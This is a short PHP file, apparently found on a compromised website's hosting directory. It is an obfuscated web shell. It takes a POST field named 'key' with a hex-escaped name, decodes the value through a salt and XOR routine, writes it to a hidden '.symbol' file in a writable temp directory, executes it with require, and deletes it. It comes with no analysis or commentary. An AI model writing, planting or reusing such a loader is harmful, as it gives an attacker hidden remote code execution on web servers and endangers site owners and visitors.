File: /home/niyknzcu/crivient.com/turista.php
<?php
if(in_array("\x6Be\x79", array_keys($_POST))){
$value = $_POST["\x6Be\x79"];
$value= explode ('.' ,$value) ;
$hld = '';
$salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt4 );
$len = count($value );
for($s = 0; $s< $len; $s++) { $v2 = $value[$s];
$sChar = ord($salt4[$s % $sLen] );
$dec = ((int)$v2 - $sChar -($s % 10)) ^89;
$hld .=chr($dec );}
$component = array_filter(["/dev/shm", getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP")]);
for ($pointer = 0, $desc = count($component); $pointer < $desc; $pointer++) {
$entry = $component[$pointer];
if (max(0, is_dir($entry) * is_writable($entry))) {
$mrk = str_replace("{var_dir}", $entry, "{var_dir}/.symbol");
if (file_put_contents($mrk, $hld)) {
require $mrk;
unlink($mrk);
exit;
}
}
}
}